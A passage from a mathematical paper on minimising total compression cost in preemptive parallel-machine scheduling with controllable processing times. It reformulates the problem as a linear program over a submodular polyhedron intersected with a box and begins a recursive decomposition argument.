,n\}$$ have to be processed on parallel machines $$M_{1},M_{2},\ldots ,M_{m}$$, where $$m\ge 2$$. For each job $$j\in N$$, its processing time $$p(j)$$ is not given in advance but has to be chosen by the decision-maker from a given interval $$\left[ \underline{p}(j),\overline{p}(j)\right]$$. That selection process can be seen as either compressing (also known as crashing) the longest processing time $$\overline{p}(j)$$ down to $$p(j)$$, or decompressing the shortest processing time $$\underline{p}(j)$$ up to $$p(j)$$. In the former case, the value $$x(j)=\overline{p}(j)-p(j)$$ is called the compression amount of job $$j$$, while in the latter case $$z(j)=p(j)-\underline{p}(j)$$ is called the decompression amount of job $$j$$. Compression may decrease the completion time of each job $$j$$ but incurs additional cost $$w(j)x(j)$$, where $$w(j)$$ is a given non-negative unit compression cost. The total cost associated with a choice of the actual processing times is represented by the linear function $$W=\sum _{j\in N}w(j)x(j)$$. Each job $$j\in N$$ is given a release date$$r(j)$$, before which it is not available, and a common deadline$$d$$, by which its processing must be completed. In the processing of any job, preemption is allowed, so that the processing can be interrupted on any machine at any time and resumed later, possibly on another machine. It is not allowed to process a job on more than one machine at a time, and a machine processes at most one job at a time. Given a schedule, let $$C(j)$$ denote the completion time of job $$j$$, i.e., the time at which the last portion of job $$j$$ is finished on the corresponding machine. A schedule is called feasible if the processing of a job $$j\in N$$ takes place in the time interval $$\left[ r(j),d \right]$$. We distinguish between the identical parallel machines and the uniform parallel machines. In the former case, the machines have the same speed, so that for a job $$j$$ with an actual processing time $$p(j)$$ the total length of the time intervals in which this job is processed in a feasible schedule is equal to $$p(j)$$. If the machines are uniform, then it is assumed that machine $$M_{h}$$ has speed $$s_{h},\,1\le h\le m$$. Without loss of generality, throughout this paper we assume that the machines are numbered in non-increasing order of their speeds, i.e., \begin{aligned} s_{1}\ge s_{2}\ge \cdots \ge s_{m}. \end{aligned} (1) For some schedule, denote the total time during which a job $$j\in N$$ is processed on machine $$M_{h},\,1\le h\le m$$, by $$q^{h}(j)$$. Taking into account the speed of the machine, we call the quantity $$s_{h}q^{h}(j)$$ the processing amount of job $$j$$ on machine $$M_{h}$$. It follows that \begin{aligned} p(j)=\sum _{h=1}^{m}s_{h}q^{h}(j). \end{aligned} In all scheduling problems studied in this paper, we need to determine the values of actual processing times and find the corresponding feasible preemptive schedule so that all jobs complete before the deadline and total compression cost is minimized. Adapting standard notation for scheduling problems by Lawler et al. [11], we denote problems of this type by $$\alpha \|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$. Here, in the first field $$\alpha$$ we write “$$P$$” in the case of $$m\ge 2$$ identical machines and “$$Q$$ ” in the case of $$m\ge 2$$ uniform machines. In the middle field, the item “$$r(j)$$” implies that the jobs have individual release dates; this parameter is omitted if the release dates are equal. We write “$$p(j)=\overline{p}(j)-x(j)$$” to indicate that the processing times are controllable and $$x(j)$$ is the compression amount to be found. The condition “$$C(j)\le d$$” reflects the fact that in a feasible schedule the common deadline should be respected. The abbreviation “$$pmtn$$” is used to point out that preemption is allowed. Finally, in the third field we write the objective function to be minimized, which is the total compression cost $$W=\sum _{j \in N} w(j)x(j)$$. Scheduling problems with controllable processing times have received considerable attention since the 1980s, see, e.g., surveys by Nowicki and Zdrzałka [16] and by Shabtay and Steiner [22]. If the processing times $$p(j),\,j\in N$$, are fixed then the corresponding counterpart of problem $$\alpha \|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ is denoted by $$\alpha \|r(j),pmtn\|C_{\max }$$. In the latter problem it is required to find a preemptive schedule that for the corresponding settings minimizes the makespan $$C_{\max }=\max \left\{ C(j)\|j\in N\right\}$$. In the scheduling literature, there are several interpretations and formulations of scheduling models that are related to those with controllable processing times. Below we give a short overview of them, indicating the points of distinction and similarity with our definition of the model. Janiak and Kovalyov [8] argue that the processing times are resource-dependent, so that the more units of a single additional resource is given to a job, the more it can be compressed. In their model, a job $$j\in N$$ has a ‘normal’ processing time $$b(j)$$ (no resource given), and its actual processing time becomes $$p(j)=b(j)-a(j)u(j)$$, provided that $$u(j)$$ units of the resource are allocated to the job, where $$a(j)$$ is interpreted as a compression rate. The amount of the resource to be allocated to a job is limited by $$0\le u(j)\le \tau (j)$$, where $$\tau (j)$$ is a known job-dependent upper bound. The cost of using one unit of the resource for compressing job $$j$$ is denoted by $$v(j)$$, and it is required to minimize the total cost of resource consumption. This interpretation of the controllable processing times is essentially equivalent to that adopted in this paper, which can be seen by setting \begin{aligned}&\overline{p}(j)=b(j),\quad \underline{p}(j)=b(j)-a(j)\tau (j),\quad x(j)=a(j)u(j),\\&\quad w(j)=v(j)/a(j),\quad j\in N. \end{aligned} A very similar model for scheduling with controllable processing times is due to Chen [2], later studied by McCormick [13]. For example, McCormick [13] gives algorithms for finding a preemptive schedule for parallel machines that is feasible with respect to arbitrary release dates and deadlines. The actual processing time of a job is determined by $$p(j)=\max \left\{ b(j)-a(j)\lambda (j),0\right\}$$ and the objective is to minimize the function $$\sum _{j\in N}\lambda (j)$$. This is also similar to our interpretation due to \begin{aligned} \overline{p}(j)=b(j),\quad \underline{p}(j)=0,\quad x(j)=a(j)\lambda (j),\quad w(j)=1/a(j),\quad j\in N. \end{aligned} Another range of scheduling models relevant to our study belongs to the area of imprecise computation; see [12] for a recent review. In computing systems that support imprecise computation, some computations (image processing programs, implementations of heuristic algorithms) can be run partially, producing less precise results. In our notation, a task with processing requirement $$\overline{p}(j)$$ can be split into a mandatory part which takes $$\underline{p}\left( j\right)$$ time, and an optional part that may take up to $$\overline{p}(j)-\underline{p}(j)$$ additional time units. To produce a result of reasonable quality, the mandatory part must be completed in full, while an optional part improves the accuracy of the solution. If instead of an ideal computation time $$\overline{p}(j)$$ a task is executed for $$p(j)=\overline{p}(j)-x(j)$$ time units, then computation is imprecise and $$x(j)$$ corresponds to the error of computation. Typically, the problems of imprecise computation are those of finding a deadline feasible preemptive schedule either on a single machine or on parallel machines. A popular objective function is $$\sum w(j)x(j)$$, which is interpreted here as the total weighted error. It is surprising that until very recently, the similarity between the models with controllable processing times and those of imprecise computation have not been noticed. Even the most recent survey by Shabtay and Steiner [22] makes no mention of the imprecise computation research. Scheduling problems with controllable processing times can serve as mathematical models in make-or-buy decision-making; see, e.g., Shakhlevich et al. [25]. In manufacturing, it is often the case that either the existing production capabilities are insufficient to fulfill all orders internally in time or the cost of work-in-process of an order exceeds a desirable amount. Such an order can be partly subcontracted. Subcontracting incurs additional cost but that can be either compensated by quoting realistic deadlines for all jobs or balanced by a reduction in internal production expenses. The make-or-buy decisions should be taken to determine which part of each order is manufactured internally and which is subcontracted. Under this interpretation, the orders are the jobs and for each order $$j\in N$$, the value of $$\overline{p}(j)$$ is interpreted as the processing requirement, provided that the order is manufactured internally in full, while $$\underline{p}(j)$$ is a given mandatory limit on the internal production. Further, $$p(j)=\overline{p}(j)-x(j)$$ is the chosen actual time for internal manufacturing, where $$x(j)$$ shows how much of the order is subcontracted and $$w(j)x(j)$$ is the cost of this subcontracting. Thus, the problem is to minimize the total subcontracting cost and find a deadline-feasible schedule for internally manufactured orders. It is obvious that for scheduling problems with controllable processing times, minimizing the total compression cost $$W$$ is equivalent to maximizing either the total decompression cost $$\sum w(j)z(j)$$ or total weighted processing time $$\sum w(j)p(j)$$. Most of the problems relevant to this study have been solved using a greedy approach. One way of implementing this approach is to start with a (possibly, infeasible) schedule in which all jobs are fully decompressed to their longest processing times $$\overline{p} (j)$$, scan the jobs in non-decreasing order of their weights $$w(j)$$ and compress each job by the smallest possible amount that guarantees a feasible processing of a job. Another approach, which is in some sense dual to the one described above, is to start with a feasible schedule in which all jobs are fully compressed to their smallest processing times $$\underline{p}(j),$$ scan the jobs in non-increasing order of their weights $$w(j)$$ and decompress each job by the largest possible amount. Despite the similarity of these approaches, in early papers on this topic each problem is considered separately and a justification of the greedy approach is often lengthy and developed from the first principles. However, as established by later studies, the greedy nature of the solution approaches is due to the fact that many scheduling problems with controllable processing times can be reformulated in terms of linear programming problems over special regions such as submodular polyhedra, (generalized) polymatroids, base polyhedra, etc. See Sect. 3 for definitions and main concepts of submodular optimization. Nemhauser and Wolsey [15] were among the first who noticed that scheduling with controllable processing times could be handled by methods of submodular optimization; see, e.g., Example 6 (Sect. 6 of Chapter III.3) of the book [15]. A systematic development of a general framework for solving scheduling problems with controllable processing times via submodular methods has been initiated by Shakhlevich and Strusevich [23, 24] and further advanced by Shakhlevich et al. [25]. This paper makes another contribution in this direction. Below we review the known results on the problems to be considered in this paper. Two aspects of the resulting algorithms are important: (1) finding the actual processing times and therefore the optimal value of the function, and (2) finding the corresponding optimal schedule. The second aspect is related to traditional scheduling to minimize the makespan with fixed processing times. Zero release dates, common deadline The results for the models under these conditions are summarized in the second and third columns of Table 1. If the machines are identical, then solving problem $$P\|pmtn\|C_{\max }$$ with fixed processing times can be done by a linear-time algorithm that is due to McNaughton [14]. As shown by Jansen and Mastrolilli [9], problem $$P\|p(j)=\overline{p} (j)-x(j),pmtn,C(j)\le d\|W$$ reduces to a continuous generalized knapsack problem and can be solved in $$O(n)$$ time. Shakhlevich and Strusevich [23] consider the bicriteria problem $$P\|p(j)=\overline{p} (j)-x(j),pmtn\|\left( C_{\max },W\right) ,$$ in which makespan $$C_{\max }$$ and the total compression cost $$W=\sum w(j)x(j)$$ have to be minimized simultaneously, in the Pareto sense; the running time of their algorithm is $$O(n\log n)$$. Table 1 Summary of the results Problem $$r(j)=0$$ Arbitrary $$r(j)$$ $$\alpha =P$$ $$\alpha =Q$$ $$\alpha =P$$ $$\alpha =Q$$ $$\alpha \|r(j),pmtn\|C_{\max }$$ $$O(n)$$ $$O(m \log m+n)$$ $$O(n \log n)$$ $$O(nm + n \log n)$$ [14] [5] [18] [19] $$\alpha \|r(j), p(j)=\overline{p}(j)-x(j), pmtn,C(j)\le d\|W$$ Previously known $$O(n)$$ $${O(nm+n \log n)}$$ $$O(n^{2}\log m)$$ $$O(n^{2}m)$$ [9] [17, 24] [27] [27] This paper $$O(\min \{n \log n, n\!+\!m\log m \log n \})$$ $$O( n \log n \log m)$$ $$O\left( nm\log n\right)$$ Section 5.1 Section 5.2 Section 5.3 $$\alpha \|r(j), p(j)\!=\overline{p}_{j}\!-\!x(j),pmtn\|\left( C_{\max },W\right)$$ $$O(n \log n)$$ $$O(nm \log m)$$ $$O\left( n^{2}\log m \right)$$ $$O\left( n^{2}m \right)$$ [23] [27] [27] [27] In the case of uniform machines, the best known algorithm for solving problem $$Q\|pmtn\|C_{\max }$$ with fixed processing times is due to Gonzalez and Sahni [5]. For problem $$Q\|p(j)=\overline{p}(j)-x(j),pmtn,C(j) \le d\|W$$ Nowicki and Zdrzałka [17] show how to find the actual processing times in $$O(nm+n\log n)$$ time. Shakhlevich and Strusevich [24] reduce the problem to maximizing a linear function over a generalized polymatroid; they give an algorithm that requires the same running time as that by Nowicki and Zdrzałka [17], but can be extended to solving a bicriteria problem $$Q\|p(j)=\overline{p}(j)-x(j),pmtn\|\left( C_{\max },W\right)$$. The best running time for the bicriteria problem is $$O(nm\log m)$$, which is achieved in [27] by submodular optimization techniques. Arbitrary release dates, common deadline The results for the models under these conditions are summarized in the fourth and fifth columns of Table 1. These models are symmetric to those with a common zero release date and arbitrary deadlines. Problem $$P\|r(j),pmtn\|C_{\max }$$ with fixed processing times on $$m$$ identical parallel machines can be solved in $$O(n\log n)$$ time (or in $$O(n\log m)$$ time if the jobs are pre-sorted) as proved by Sahni [18]. For the uniform machines, Sahni and Cho [19] give an algorithm for problem $$Q\|r(j),pmtn\|C_{\max }$$ that requires $$O(mn+n\log n)$$ time (or $$O(mn)$$ time if the jobs are pre-sorted). Prior to our work on the links between submodular optimization and scheduling with controllable processing times [27], no purpose-built algorithms have been known for problems $$\alpha \|r(j),p(j)= \overline{p}(j)-x(j),pmtn,C(j)\le d\|W$$ with $$\alpha \in \left\{ P,Q\right\}$$. It is shown in [27] that the bicriteria problems $$\alpha m\|r(j),p(j)=\overline{p}(j)-x(j),pmtn\|\left( C_{\max },W\right)$$ can be solved in $$O\left( n^{2}\log m\right)$$ time and in $$O(n^{2}m)$$ time for $$\alpha =P$$ and $$\alpha =Q$$, respectively. Since a solution to a single criterion problem $$\alpha m\|r(j),p(j)=\overline{p}(j)-x(j),pmtn,C(j)\le d\|W$$ is contained among the Pareto optimal solutions for the corresponding bicriteria problem $$\alpha m\|r(j),p(j)=\overline{p}(j)-x(j),pmtn\|\left( C_{\max },W\right)$$, the algorithms from [27] are quoted in Table 1 as the best previously known for the single criterion problems with controllable processing times. The main purpose of this paper is to demonstrate that the single criterion scheduling problems with controllable processing times to minimize the total compression cost can be solved by faster algorithms that are based on reformulation of these problems in terms of a linear programming problem over a submodular polyhedron intersected with a box. For the latter generic problem, we develop a recursive decomposition algorithm and show that for the scheduling applications it can be implemented in a very efficient way. ## 3 Scheduling with controllable processing times: submodular reformulations For completeness, we start this section with definitions related to submodular optimization. Unless stated otherwise, we follow a comprehensive monograph on this topic by Fujishige [4], see also [10, 21]. In Sect. 3.1, we introduce a linear programming problem for which the set of constraints is a submodular polyhedron intersected with a box. Being quite general, the problem represents a range of scheduling models with controllable processing times. In Sect. 3.2 we give the details of the corresponding reformulations. ### 3.1 Preliminaries on submodular polyhedra For a positive integer $$n$$, let $$N=\{1,2,\ldots ,n\}$$ be a ground set, and let $$2^{N}$$ denote the family of all subsets of $$N$$. For a subset $$X\subseteq N$$, let $$\mathbb {R}^{X}$$ denote the set of all vectors $${\mathbf {p}}$$ with real components $$p(j)$$, where $$j\in X$$. For two vectors $${\mathbf {p}}=(p(1),p(2),\ldots ,p(n))\in \mathbb {R}^{N}$$ and $${\mathbf {q}} =(q(1),q(2),\ldots ,q(n))\in \mathbb {R}^{N}$$, we write $${\mathbf {p}}\le {\mathbf {q}}$$ if $$p(j)\le q(j)$$ for each $$j\in N$$. Given a set $$X\subseteq \mathbb {R}^{N}$$, a vector $${\mathbf {p}}\in X$$ is called maximal in $$X$$ if there exists no vector $${\mathbf {q}}\in X$$ such that $${\mathbf {p}}\le {\mathbf {q}}$$ and $${\mathbf {p}}\ne {\mathbf {q}}$$. For a vector $${\mathbf {p}} \in \mathbb {R}^{N}$$, define $$p(X)=\sum _{j\in X}p(j)$$ for every set $$X\in 2^{N}$$. A set function $$\varphi :2^N \rightarrow \mathbb {R}$$ is called submodular if the inequality \begin{aligned} \varphi (X)+\varphi (Y) \ge \varphi (X\cup Y)+\varphi (X\cap Y) \end{aligned} holds for all sets $$X,Y \in 2^N$$. For a submodular function $$\varphi$$ defined on $$2^{N}$$ such that $$\varphi (\emptyset )=0$$, the pair $$(2^N, \varphi )$$ is called a submodular system on $$N$$, while $$\varphi$$ is referred to as the rank function of that system. For a submodular system $$(2^{N},\varphi )$$, define two polyhedra \begin{aligned} P(\varphi )&= \left\{ {\mathbf {p}}\in \mathbb {R}^{N}\mid p(X)\le \varphi (X),\quad X\in 2^{N}\right\} \!, \end{aligned} (2) \begin{aligned} B(\varphi )&= \left\{ {\mathbf {p}}\in \mathbb {R}^{N}\mid {\mathbf {p}}\in P(\varphi ),\quad p(N)=\varphi (N)\right\} \!, \end{aligned} (3) called the submodular polyhedron and the base polyhedron, respectively, associated with the submodular system. Notice that $$B(\varphi )$$ represents the set of all maximal vectors in $$P(\varphi )$$. The main problem that we consider in this section is as follows: \begin{aligned} \begin{aligned} \hbox {(LP):}&\hbox {Maximize}&\displaystyle \sum \limits _{j\in N}w(j)p(j)&\\&\hbox {subject to}&&\displaystyle p(X)\le \varphi (X),&X\in 2^{N}, \\&&\displaystyle \underline{p}(j)\le p(j)\le \overline{p}(j),&j\in N, \end{aligned} \end{aligned} (4) where $$\varphi :2^{N}\rightarrow \mathbb {R}$$ is a submodular function with $$\varphi (\emptyset )=0,\,\mathbf {w}\in \mathbb {R}_{+}^{N}$$ is a nonnegative weight vector, and $$\overline{\mathbf {p}},\underline{\mathbf {p}}\in \mathbb {R }^{N}$$ are upper and lower bound vectors, respectively. This problem serves as a mathematical model for many scheduling problems with controllable processing times. Problem (LP) can be classified as a problem of maximizing a linear function over a submodular polyhedron intersected with a box. In our previous work [25], we have demonstrated that Problem (LP) can be reduced to optimization over a simpler structure, namely, over a base polyhedron. In fact, we have shown that a problem of maximizing a linear function over the intersection of a submodular polyhedron and a box is equivalent to maximizing the same objective function over a base polyhedron associated with another rank function. ### Theorem 1 (cf. [25]) 1. (i) Problem (LP) has a feasible solution if and only if $$\underline{\mathbf {p}}\in P(\varphi )$$ and $$\underline{\mathbf {p}}\le \overline{\mathbf {p}}$$. 2. (ii) If Problem (LP) has a feasible solution, then the set of maximal feasible solutions of Problem (LP) is a base polyhedron $$B(\tilde{\varphi })$$ associated with the submodular system $$(2^{N},\tilde{ \varphi })$$, where the rank function $$\tilde{\varphi }:2^{N}\rightarrow \mathbb {R}$$ is given by \begin{aligned} \tilde{\varphi }(X)= \min _{Y\in 2^{N}}\left\{ \varphi (Y)+\overline{p}(X{\setminus } Y)-\underline{p}(Y{\setminus } X)\right\} . \end{aligned} (5) Notice that the computation of the value $$\tilde{\varphi }(X)$$ for a given $$X\in 2^{N}$$ reduces to minimization of a submodular function, which can be computed in polynomial time by using any of the available algorithms for minimizing a submodular function [7, 20]. However, the running time of known algorithms is fairly large. In many special cases of Problem (LP), including its applications to scheduling problems with controllable processing times, the value $$\tilde{\varphi }(X)$$ can be computed more efficiently without using the submodular function minimization, as shown later. Throughout this paper, we assume that Problem (LP) has a feasible solution, which, due to claim (i) of Theorem 1, is equivalent to the conditions $$\underline{\mathbf {p}}\in P(\varphi )$$ and $$\underline{\mathbf {p}}\le \overline{\mathbf {p}}$$. Claim (ii) of Theorem 1 implies that Problem (LP) reduces to the following problem: \begin{aligned} \begin{aligned}&\hbox {Maximize}\quad \sum \limits _{j\in N}w(j)p(j)\\&\hbox {subject to} \quad {\mathbf {p}}\in B(\tilde{\varphi }), \end{aligned} \end{aligned} (6) where the rank function $$\tilde{\varphi }:2^{N}\rightarrow \mathbb {R}$$ is given by (5). An advantage of the reduction of Problem (LP) to a problem of the form (6) is that the solution vector can be obtained essentially in a closed form, as stated in the theorem below. ### Theorem 2 (cf. [4]) Let $$j_{1},j_{2},\ldots ,j_{n}$$ be an ordering of elements in $$N$$ that satisfies \begin{aligned} w(j_{1})\ge w(j_{2})\ge \cdots \ge w(j_{n}). \end{aligned} (7) Then, vector $$\mathbf {p^{}}\in \mathbb {R}^{N}$$ given by \begin{aligned} p^{}(j_{h})=\tilde{\varphi }(\{j_{1},\ldots ,j_{h-1},j_{h}\})-\tilde{ \varphi }(\{j_{1},\ldots ,j_{h-1}\}),\quad h=1,2,\ldots ,n, \end{aligned} (8) is an optimal solution to the problem (6) [and also to the problem (4)]. This theorem immediately implies a simple algorithm for Problem (LP), which computes an optimal solution $$\mathbf {p^{}}$$ by determining the value $$\tilde{\varphi }(\{j_{1},j_{2},\ldots , j_{h}\})$$ for each $$h = 1, 2, \ldots , n$$. In this paper, instead, we use a different algorithm based on decomposition approach to achieve better running times for special cases of Problem (LP), as explained in Sect. 4. ### 3.2 Rank functions for scheduling applications In this subsection, we follow [27] and present reformulations of three scheduling problems on parallel machines with controllable processing times in terms of LP problems defined over a submodular polyhedron intersected with a box of the form (4). We assume that if the jobs have different release dates, they are numbered to satisfy \begin{aligned} r(1)\le r(2)\le \cdots \le r(n). \end{aligned} (9) If the machines are uniform they are numbered in accordance with (1). We denote \begin{aligned} S_{0}=0,\qquad S_{k}=s_{1}+s_{2}+\cdots +s_{k},\quad 1\le k\le m. \end{aligned} (10) $$S_{k}$$ represents the total speed of $$k$$ fastest machines; if the machines are identical, $$S_{k}=k$$ holds. For each problem $$Q\|p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W,\, P\|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ and $$Q\|r(j),p(j)= \overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$, we need to find the actual processing times $$p(j)=\overline{p}(j)-x(j),\,j\in N$$, such that all jobs can be completed by a common due date $$d$$ and the total compression cost $$W=\sum _{j\in N}w(j)x(j)$$ is minimized. In what follows, we present LP formulations of these problems with $$p(j),\,j\in N$$, being decision variables, and the objective function to be maximized being $$\sum _{j\in N}w(j)p(j)=\sum _{j\in N}w(j)\left( \overline{p}(j)-x(j)\right)$$. Since each decision variable $$p(j)$$ has a lower bound $$\underline{p}(j)$$ and an upper bound $$\overline{p}(j),$$ an LP formulation includes the box constraints of the form $$\underline{p}(j)\le p(j)\le \overline{p}(j),\,j\in N$$. The derivations of the rank functions for the models under consideration can be justified by the conditions for the existence of a feasible schedule for a given common deadline $$d$$ formulated, e.g., in [1]. Informally, these conditions state that for a given deadline $$d$$ a feasible schedule exists if and only if 1. (i) for each $$k,1\le k\le m-1,\,k$$ longest jobs can be processed on $$k$$ fastest machines by time $$d$$, and 2. (ii) all $$n$$ jobs can be completed on all $$m$$ machines by time $$d$$. We refer to [27] where the rank functions for the relevant problems are presented and discussed in more details. Below we present their definitions. In all scheduling applications a meaningful interpretation of $$\varphi (X)$$ is the largest capacity available for processing the jobs of set $$X$$. For example, problem $$Q\|p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ reduces to Problem (LP) of the form (4) with the rank function \begin{aligned} \varphi (X)=dS_{\min \{\|X\|,m\}}=\left\{ \begin{array}{l@{\quad }l} dS_{\left\| X \right\| }, &{}\hbox {if }\,\|X\|\le m-1, \\ dS_{m}, &{}\hbox {if }\,\|X\|\ge m. \end{array}\right. \end{aligned} (11) It is clear that the conditions $$p(X)\le \varphi (X),\,X\in 2^{N}$$, for the function $$\varphi (X)$$ defined by (11) correspond to the conditions (i) and (ii) above, provided that $$\left\| X\right\| \le m-1$$ and $$\left\| X\right\| \ge m$$, respectively. As proved in [24], function $$\varphi$$ is submodular. We then consider problem $$Q\|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$. For a set of jobs $$X\subseteq N$$, we define $$r_{i}(X)$$ to be the $$i$$-th smallest release date in set $$X\in 2^{N},\,1\le i\le \left\| X\right\|$$. Then, for a non-empty set $$X$$ of jobs, the largest processing capacity available on the fastest machine $$M_{1}$$ is $$s_{1}\left( d-r_{1}(X)\right)$$, the total largest processing capacity on two fastest machines $$M_{1}$$ and $$M_{2}$$ is $$s_{1}\left( d-r_{1}(X)\right) +s_{2}\left( d-r_{2}(X)\right)$$, etc. We deduce that \begin{aligned} \varphi (X)=\left\{ \begin{array}{l@{\quad }l} dS_{\left\| X\right\| }-\sum \nolimits _{i=1}^{\left\| X\right\| }s_{i}r_{i}(X), &{}\hbox {if }\,\left\| X\right\| \le m-1, \\ dS_{m}-\sum \nolimits _{i=1}^{m}s_{i}r_{i}(X), &{}\hbox {if }\,\left\| X\right\| \ge m. \end{array}\right. \end{aligned} (12) It can be verified that this function is submodular. Problem $$P\|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ is a special case of problem $$Q\|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$, where $$s_{1}=s_{2}=\cdots =s_{m}=1$$. Hence, the corresponding rank function $$\varphi$$ can be simplified as \begin{aligned} \varphi (X)=\left\{ \begin{array}{l@{\quad }l} d{\|X\|}-\sum \nolimits _{i=1}^{\|X\|}r_{i}(X), &{} \hbox {if }\,\left\| X\right\| \le m-1, \\ dm-\sum \nolimits _{i=1}^{m}r_{i}(X), &{}\hbox {if }\,\left\| X\right\| \ge m. \end{array}\right. \end{aligned} (13) ## 4 Decomposition of LP problems with submodular constraints In this section, we describe a decomposition algorithm for solving LP problems defined over a submodular polyhedron intersected with a box. In Sect. 4.1, we demonstrate that the linear programming problem under study can be recursively decomposed into subproblems of a smaller dimension, with some components of a solution vector fixed to one of their bounds. We provide an outline of an efficient recursive decomposition procedure in Sect. 4.2 and analyze its time complexity in Sect. 4.3. In Sect. 5 we present implementation details of the recursive decomposition procedure for the relevant scheduling models with controllable processing times. ### 4.1 Fundamental idea for decomposition In this section, we show an important property, which makes the foundation of our decomposition algorithm for Problem (LP) of the form (4). The lemma below demonstrates that some components of an optimal solution can be fixed either at their upper or lower bounds, while for some components their sum is fixed. Given a subset $$\hat{N}$$ of $$N$$, we say that $$\hat{N}$$ is a heavy-element subset of$$N$$with respect to the weight vector$$\mathbf {w}$$ if it satisfies the condition \begin{aligned} \min _{j\in \hat{N}}w(j)\ge \max _{j\in N{\setminus } \hat{N}}w(j). \end{aligned} For completeness, we also regard the empty set as a heavy-element subset of $$N$$. Given Problem (LP), in accordance with (5) define a set $$Y_{}\subseteq N$$ such that the equality \begin{aligned} \tilde{\varphi }(X)=\varphi (Y_{})+\overline{p}(X{\setminus } Y_{})- \underline{p}(Y_{}{\setminus } X) \end{aligned} (14) holds for a set $$X\subseteq N$$. Because of its special role, in the remainder of this paper we call $$Y_{}$$ an instrumental set for set $$X$$. ### Lemma 1 Let $$\hat{N}\subseteq N$$ be a heavy-element subset of $$N$$ with respect to $$\mathbf {w}$$, and $$Y_{}\subseteq N$$ be an instrumental set for set $$\hat{N}$$. Then, there exists an optimal solution $${\mathbf {p}}^{}$$ of Problem (LP) such that \begin{aligned} \text{(a) } p^{}(Y_{})={\varphi }(Y_{}), \text{(b) } p^{}(j)=\overline{p}(j),\ j\in \hat{N}{\setminus } Y_{}, \text{(c) } p^{}(j)=\underline{p}(j),\ j\in Y_{}{\setminus } \hat{N }. \end{aligned} ### Proof Since $$\hat{N}$$ is a heavy-element subset, there exists an ordering $$j_{1},j_{2},\ldots ,j_{n}$$ of elements in $$N$$ that satisfies (7) and $$\hat{N}=\{j_{1},j_{2},\ldots ,j_{k}\}$$, where $$k=\|\hat{N}\|$$. Theorems 1 and 2 guarantee that the solution $${\mathbf {p}}^{}$$ given by (8) is optimal. In particular, this implies \begin{aligned} p^{}(\hat{N})&= \tilde{\varphi }(j_{1})+\sum _{i=2}^{k}\left( \tilde{\varphi }(\left\{ j_{1},j_{2},\ldots ,j_{i}\right\} )-\tilde{\varphi }(\left\{ j_{1},j_{2},\ldots ,j_{i-1}\right\} \right) )\\&= \tilde{\varphi }(\left\{ j_{1},j_{2},\ldots ,j_{k}\right\} )=\tilde{\varphi }(\hat{N}). \end{aligned} Since $${\mathbf {p}}^{}$$ is a feasible solution of Problem (LP), the following conditions simultaneously hold: \begin{aligned} p^{}(Y_{})\le \varphi (Y_{}), \quad p^{}(j)\le \overline{p}(j),\ j\in \hat{N}{\setminus } Y_{}, \quad -p^{}(j)\le - \underline{p}(j), j\in Y_{}{\setminus } \hat{N}. \end{aligned} (15) On the other hand, due to the choice of set $$Y_{}$$ we have \begin{aligned} p^{}(\hat{N})=\tilde{\varphi }(\hat{N})=\varphi (Y_{})+\overline{p}( \hat{N}{\setminus } Y_{})-\underline{p}\left( Y_{}{\setminus } \hat{N}\right) , \end{aligned} which implies that each inequality of (15) must hold as equality, and that is equivalent to the properties (a), (b), and (c) in the lemma. $$\square$$ In what follows, we use two fundamental operations on a submodular system $$\left( 2^{N},\varphi \right)$$, as defined in [4, Section 3.1]. For a set $$A\in 2^{N}$$, define a set function $$\varphi ^{A}:2^{A}\rightarrow \mathbb {R}$$ by \begin{aligned} \varphi ^{A}(X)=\varphi (X),\quad X\in 2^{A}. \end{aligned} Then, $$(2^{A},\varphi ^{A})$$ is a submodular system on $$A$$ and it is called a restriction of$$(2^{N},\varphi )$$to$$A$$. On the other hand, for a set $$A\in 2^{N}$$ define a set function $$\varphi _{A}:2^{N{\setminus } A}\rightarrow \mathbb {R}$$ by \begin{aligned} \varphi _{A}(X)=\varphi (X\cup A)-\varphi (A),\quad X\in 2^{N{\setminus } A}. \end{aligned} Then, $$(2^{N{\setminus } A},\varphi _{A})$$ is a submodular system on $$N{\setminus } A$$ and it is called a contraction of$$(2^{N},\varphi )$$by$$A$$. For an arbitrary set $$A\in 2^{N}$$, Problem (LP) can be decomposed into two subproblems of a similar structure by performing restriction of $$\left( 2^{N},\varphi \right)$$ to $$A$$ and contraction of $$\left( 2^{N},\varphi \right)$$ by $$A$$, respectively. These problems can be written as follows: for restriction asand for contraction asWe show that an optimal solution of the original Problem (LP) can be easily restored from the optimal solutions of these two subproblems. For every subset $$A\subseteq N$$ and vectors $$\mathbf {p}_{\mathbf{1}}\in \mathbb {R}^{A}$$ and $$\mathbf {p}_\mathbf{2}\in \mathbb {R}^{N{\setminus } A}$$, the direct sum$${\mathbf {p}_\mathbf{1}}\oplus {\mathbf {p}}_{{\mathbf {2}}}\in \mathbb {R}^{N}$$ of $$\mathbf {p_{1}}$$ and $${\mathbf {p}}_{{\mathbf {2}}}$$ is defined by \begin{aligned} (p_{1}\oplus p_{2})(j)=\left\{ \begin{array}{l@{\quad }l} p_{1}(j), &{}\hbox {if }\,j\in {A}, \\ p_{2}(j), &{}\hbox {if }\,j\in N{\setminus } {A}. \end{array}\right. \end{aligned} ### Lemma 2 Let $$A\in 2^{N}$$, and suppose that $$q(A)=\varphi (A)$$ holds for some optimal solution $$\mathbf {q}\in \mathbb {R}^{N}$$ of Problem (LP). Then, 1. (i) Each of problems (LP1) and (LP2) has a feasible solution. 2. (ii) If a vector $$\mathbf {p}_\mathbf{1}\in \mathbb {R}^{A}$$ is an optimal solution of Problem (LP1) and a vector $$\mathbf {p}_\mathbf{2}\in \mathbb {R} ^{N{\setminus } A}$$ is an optimal solution of Problem (LP2), then the direct sum $${\mathbf {p}}^{}=\mathbf {p}_\mathbf{1}\oplus \mathbf {p}_\mathbf{2}\in \mathbb {R} ^{N}$$ of $$\mathbf {p}_\mathbf{1}$$ and $$\mathbf {p}_\mathbf{2}$$ is an optimal solution of Problem (LP). ### Proof The proof below is similar to that for Lemma 3.1 in [4]. We define vectors $$\mathbf 